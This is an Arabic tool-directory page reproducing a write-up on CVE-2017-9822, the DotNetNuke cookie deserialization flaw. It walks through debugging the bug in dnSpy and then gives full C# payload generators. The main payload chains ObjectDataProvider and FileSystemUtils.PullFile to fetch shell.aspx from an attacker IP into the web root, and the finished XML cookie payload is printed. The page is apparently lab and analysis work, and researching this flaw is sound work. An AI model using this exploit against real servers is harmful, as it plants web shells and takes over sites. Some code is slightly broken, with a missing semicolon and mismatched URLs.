Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-9822 | Kitploit
أدوات/GitHubGitHub/tranphuc2005/cve-2017-9822
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولاتاستغلال الملفات الثنائية
GitHubtranphuc2005/cve-2017-9822

CVE-2017-9822

عرض المستودع
منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-9822

DotNetNuke (يُختصر عادةً باسم DNN) هو نظام إدارة محتوى (Content Management System) وإطار عمل لتطبيقات الويب (web application framework) مبني على تقنية ASP.NET من مايكروسوفت.

المعلومات الرئيسية

  • المنتج المتأثر: DotNetNuke (منصة DNN) – نظام CMS/بوابة .NET شائع.

  • تاريخ الإعلان: يوليو 2017.

  • مستوى الخطورة: حرج (CVSS ~9.8).

  • نوع الثغرة: XML External Entity (XXE) / إلغاء تسلسل غير آمن (Insecure Deserialization) → تنفيذ التعليمات البرمجية عن بُعد (Remote Code Execution - RCE).

  • التأثير: الإصدارات قبل 9.1.1 قابلة لتنفيذ التعليمات البرمجية عن بُعد عبر الكوكيز

دليل التثبيت

هنا أستخدم نظام Windows 10 لإعداد البرنامج وتصحيح أخطائه (debug). الإصدار الذي أقوم بتثبيته هو 9.1.0، ويمكنكم الاطلاع على طريقة التثبيت هنا. والنتيجة بعد الانتهاء هي:

1

التحليل

1

  • وفقًا للتقارير التي قرأتها، تقع هذه الثغرة في مكان معالجة الكوكيز في DotNetNuke

  • يستخدم DNN أسلوب إلغاء تسلسل غير آمن (unsafe deserialization) لكوكيز DNNPersonalization

1

التصحيح (Debug)

  • هنا أستخدم dnSpy وهو أداة مفكّك (decompiler) ومصحح أخطاء (debugger) لتطبيقات .NET (C#, VB.NET, F#...). تتيح لك عرض وتحليل وتعديل الكود المصدري من الملفات المُجمّعة مثل .dll أو .exe المكتوبة بلغة .NET. يمكن تثبيته هنا. نحتاج إلى تحميل نسختين لأغراض التصحيح (debug).

1

  • أولاً، افتح DotNetNuke.dll باستخدام الإصدار 32 بت واختر Edit Assembly Attributes (C#)

1

  • ثم استبدل السطر
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
  • بـ
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

1

ثم احفظ التغييرات.

  • افتح الإصدار 64 بت بصلاحيات المسؤول (Admin) واختر Attach to Process

1

  • بعد ذلك اختر w3wp.exe

1

سبب اختيار w3wp.exe هو:

  • w3wp.exe = IIS Worker Process.

  • إنها عملية التنفيذ الخاصة بـ Application Pool في IIS.

  • عند وصول طلب HTTP إلى الموقع، يقوم IIS بإنشاء أو إعادة استخدام w3wp.exe لمعالجة ذلك الطلب (تشغيل كود ASP.NET، معالجة الوحدات (modules)، الوسائط (middleware)، اتصالات قاعدة البيانات...).

  • يمكن أن يحتوي كل Application Pool على عملية w3wp.exe واحدة أو أكثر حسب الإعدادات (web garden, recycling).

بعد ذلك، دعنا نختار Debug -> Window -> Modules

1

بعد الانتهاء ستظهر الوحدات (Modules)، اضغط بزر الفأرة الأيمن على أيٍّ منها واختر Open All Modules

1

وأخيرًا ستظهر جميع التجميعات (Assemblies) المتعلقة بـ DNN

1

  • ادخل إلى داخل DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int)

1

تُستخدم هذه الدالة لتحميل بيانات التخصيص (profile) الخاصة بالمستخدم في بوابة DNN.

  • إذا كان المستخدم مسجلاً الدخول → يتم جلب الملف الشخصي من قاعدة البيانات + الذاكرة المؤقتة (cache).

  • إذا كان المستخدم مجهولاً (لم يسجل الدخول) → يتم جلب الملف الشخصي من كوكيز DNNPersonalization.

هنا يجب أن نركز على DNNPersonalization

  • إذا كانت userId غير صالحة (مستخدم مجهول).

  • التحقق مما إذا كان الطلب يحتوي على كوكيز DNNPersonalization.

  • إذا كانت موجودة → يتم أخذ قيمة XML من هذه الكوكيز.

  • سنرسل طلب 404 إلى الموقع ونستخدم أي DNNPersonalization، وباستخدام dnSpy لتعيين نقطة توقف (Breakpoint) عند DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) سنتمكن من التصحيح (debug)

1

1

  • في قسم Call Stack، دعنا نركز على تحليل الكلاس PortalSettings

1

  • الجدير بالملاحظة هو استخدام شرط if هنا للتحقق مما إذا كان الطلب الحالي IsAuthenticated أم لا

  • وبما أن الطلب الذي أرسلناه هو 404 -> unauthenticated

  • نكمل في قسم Call Stack ونركز على Handle404OrException

1

  • هنا سيتحقق مما إذا كان context.User في الطلب الحالي هو null، وإذا كان الأمر كذلك فسيتم تعيين context.User كمستخدم الخيط (thread) الحالي

1

1

  • نلاحظ أنه داخل Handle404OrException أصبح المتغير IsAuthenticated الآن بقيمة true، وأن المستخدم هو مستخدم خادم IIS، وبالتالي يتم تنفيذ الطلب كمستخدم موثّق (authenticated user).

  • سبب المشكلة يكمن في هذا الجزء من الكود

root@kitploit:~
else if (transfer)
{
	if (context.User == null)
	{
		context.User = Thread.CurrentPrincipal;
	}
	response.TrySkipIisCustomErrors = true;
	IHttpHandler handler = new CDefault();
	context.Handler = handler;
	server.Transfer("~/" + text, true);
}
  • إذا لم يكن context.User موجودًا → يتم تعيين Thread.CurrentPrincipal (أي هوية الخيط الحالية).

  • يساعد هذا الطلب في الحصول على معلومات المستخدم/الدور (role) عند المعالجة اللاحقة.

=> عندما نمرر أي محتوى إلى الكوكيز مع متغير DNNPersonalization، فسيتم تنفيذه كمستخدم عادي.

لننظر الآن إلى طريقة معالجة الكوكيز

  • ما زلنا داخل DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)

  • نرى أن المتغير text يأخذ القيمة من الكوكيز ثم يُمرر كمدخل إلى Globals.DeserializeHashTableXml()

1

  • لنذهب داخل Globals.DeserializeHashTableXml()

1

تقوم دالة DeserializeHashTableXml بما يلي:

  • تستقبل سلسلة XML (Source).

  • تحلل سلسلة XML تلك لتحويلها إلى كائن Hashtable.

  • أثناء التحليل، تستدعي الدالة XmlUtils.DeSerializeHashtable مع المعامل "profile" لتحديد العقدة الجذرية XML.

بالدخول إلى داخل XmlUtils.DeSerializeHashtable نرى طريقة معالجتها

1

تستقبل دالة DeSerializeHashtable سلسلة XML وتحولها إلى Hashtable. مع كل عقدة <item>، تقوم الدالة بما يلي:

  • تأخذ key كمفتاح.

  • تأخذ type ثم تستدعي Type.GetType(type) لتحديد نوع البيانات.

  • تستخدم XmlSerializer.Deserialize لتحويل محتوى XML إلى كائن فعلي.

  • تضيفه إلى Hashtable.

👉 المشكلة: نظرًا لأن type ومحتوى XML يتحكم فيهما المستخدم بالكامل (من كوكيز DNNPersonalization)

إنشاء الحمولة (Payload)

بناءً على XmlUtils#DeSerializeHashtable كموقع للخلل، نقوم بإنشاء برنامج مشابه لتسلسل (serialize) وإلغاء تسلسل (deserialize) الكائنات:

root@kitploit:~
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;

namespace example
{
	public class Test  
	{    
	    private string _name;  
	    public string name  
	    {  
	        get { return _name; }  
	        set { this._name = value; execCMD(); }  
	    }  
	  
	    private void execCMD()  
	    {  
	        Process process = new Process();  
	        process.StartInfo.FileName = this._name;  
	        process.Start();  
	        process.Dispose(); // close  
	    }  
	}

    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // tạo xml root element
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);

            // tạo node con item có attribute type chứa tên object type

            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);

            // serialize obj thành xmlDocumentObj

            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());
            // thêm xml serialized object này vào node item và thêm node item vào root element
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));

            xmlElementRoot.AppendChild(xmlElementItem);
    
            File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);

        }

        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {

                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));

                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        // custom

                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                        Test testObj = (Test) objResult;
                        Console.WriteLine("Deserialize sucessful: " + testObj.name);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        static void Main(string[] args)
        {
            // serialize
            Test test = new Test();
            test.name = "notepad.exe"
            Serialize(test);
            // deserialize
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            DeSerialize(xmlSource, "profile");

        }
    }
}
  • سيكون ملف xml بهذا الشكل:
root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<profile>
  <item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
    <Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <name>notepad.exe</name>
    </Test>
  </item>
</profile>

1

  • الآن سننتقل إلى RCE

  • نحتاج إلى إيجاد كائن يمكنه تنفيذ كود عند إجراء Deserialize

  • هنا وجدنا FileSystemUtils PullFile method

1

الشرح:

  • PullFile(string URL, string FilePath) — دالة ثابتة في FileSystemUtils تُستخدم لتنزيل محتوى من URL إلى المسار FilePath على النظام.

  • داخليًا تستخدم WebClient.DownloadFile(URL, FilePath) — عملية تنزيل وكتابة ملف.

  • catch فقط يسجل الخطأ (log) ويعيد رسالة؛ ولا يعيد رمي الاستثناء.

لكن المشكلة هي: XmlSerializer لا يمكنه تسلسل دوال الكلاس، بل فقط الحقول والخصائص العامة (public). كما أنه لا توجد أي من الحقول والخصائص العامة في كلاس FileSystemUtils يمكنها استدعاء الدالة PullFile

لننتقل إلى كلاس ObjectDataProvider

  • ObjectDataProvider هو كلاس في WPF (namespace System.Windows.Data, module PresentationFramework.dll).

  • لديه القدرة على استدعاء الدوال في وقت التشغيل (runtime) — لا يخزن البيانات فقط، بل يمكنه تنفيذ إجراءات (side-effect) عن طريق استدعاء أي دالة على الكائن المُغلّف (wrapped).

  • يسمح بتمرير المعاملات — يمكن للمهاجم التحكم في المعاملات المُمررة إلى الدالة (مثل URL ومسار الملف لدالة PullFile).

  • ObjectDataProvider بحد ذاته لا "ينفذ كودًا" مثل المفسّر (interpreter) — لكنه يسمح باستدعاء أي دالة عامة على الكائن المُغلّف. لذلك، إذا وُجدت دالة عامة ذات تأثير جانبي خطير (مثل تنزيل ملف، تشغيل عملية، كتابة ملف)، يمكن تنفيذ السلسلة (chain).

1

هنا يقوم باستدعاء Refresh() الخاص بـ DataSourceProvider

1

بعد ذلك نصل إلى BeginQuery()، ولاحظ أن ObjectDataProvider يرث من DataSourceProvider، وسننتقل إلى BeginQuery() الخاصة بـ ObjectDataProvider

1

نكمل مع QueryWorker

1

ستستدعي InvokeMethodOnInstance

1

InvokeMethodOnInstance هي الطريقة التي تنفذ (invoke) فعليًا — تستخدم الانعكاس (reflection) لاستدعاء الطريقة المحددة (MethodName) على الكائن الذي "يلفه" ObjectDataProvider (أو على ذلك النوع إذا كانت static)، مع تمرير قائمة MethodParameters، ثم تُرجع القيمة المُعادة لتلك الطريقة.

استخدم بيئة التطوير JetBrains Rider لكتابة السكربت، وتحتاج إلى الإشارة (reference) إلى DotNetNuke.dll ووحدة PresentationFramework.dll.

1

لدينا الحمولة (Payload) التنفيذية التالية

root@kitploit:~
using System;  
using System.IO;  
using System.Xml;  
using System.Xml.Serialization;  
using System.Windows.Data;              // ObjectDataProvider  
using DotNetNuke.Common.Utilities;      // FileSystemUtils (nếu bạn đã add DLL)  
using System.Data.Services.Internal;    // ExpandedWrapper (nếu có)  
  
namespace example  
{  
    public class Program  
    {  
        private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS  
        public static void Serialize(Object obj) // method xml serialize arbitrary object   
        {  
            // tạo xml root element  
            XmlDocument xmlDocument = new XmlDocument();  
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");  
            xmlDocument.AppendChild(xmlElementRoot);  
  
            // tạo node con item có attribute type chứa tên object type  
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");  
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);  
  
            // serialize obj thành xmlDocumentObj  
            XmlDocument xmlDocumentObj = new XmlDocument();  
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());  
            StringWriter stringWriter = new StringWriter();  
            xmlSerializer.Serialize(stringWriter, obj);  
            xmlDocumentObj.LoadXml(stringWriter.ToString());  
  
            // thêm xml serialized object này vào node item và thêm node item vào root element  
        xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));  
            xmlElementRoot.AppendChild(xmlElementItem);  
            File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);  
        }  
  
        public static void DeSerialize(string xmlSource, string rootname)  
        {  
            // Hashtable hashtable = new Hashtable();  
            if (!string.IsNullOrEmpty(xmlSource))  
            {  
                try  
                {  
                    XmlDocument xmlDocument = new XmlDocument();  
                    xmlDocument.LoadXml(xmlSource);  
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))  
  
                    {  
                        XmlElement xmlElement = (XmlElement)obj;  
                        string attribute = xmlElement.GetAttribute("key");  
                        string attribute2 = xmlElement.GetAttribute("type");  
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));  
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));  
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));  
                        // custom  
                        Object objResult = xmlSerializer.Deserialize(xmlReader);  
                    }  
                }  
                catch (Exception)  
                {  
                }  
            }  
            // return hashtable;  
        }  
        static void Main(string[] args)  
        {  
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();  
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();  
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();  
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";  
    expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");  
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");  
  
            Console.WriteLine("Done!!");  
            Serialize(expandedWrapper);  
  
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");  
            DeSerialize(xmlSource, "profile");  
  
        }  
    }  
}

نحصل على ملف xml:

root@kitploit:~
<profile>
  <item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
          <anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

نقوم بحقن الحمولة

1

1

1

لنبدأ الاستغلال

1

بالإضافة إلى ذلك، يمكننا استخدام أداة ysoserial.NET لإنشاء الحمولة

1

1

كما يمكننا أيضًا استغلال جزء قراءة الملفات في WriteFile الخاص بكلاس FileSystemUtils

1

1

تنزيل الأداة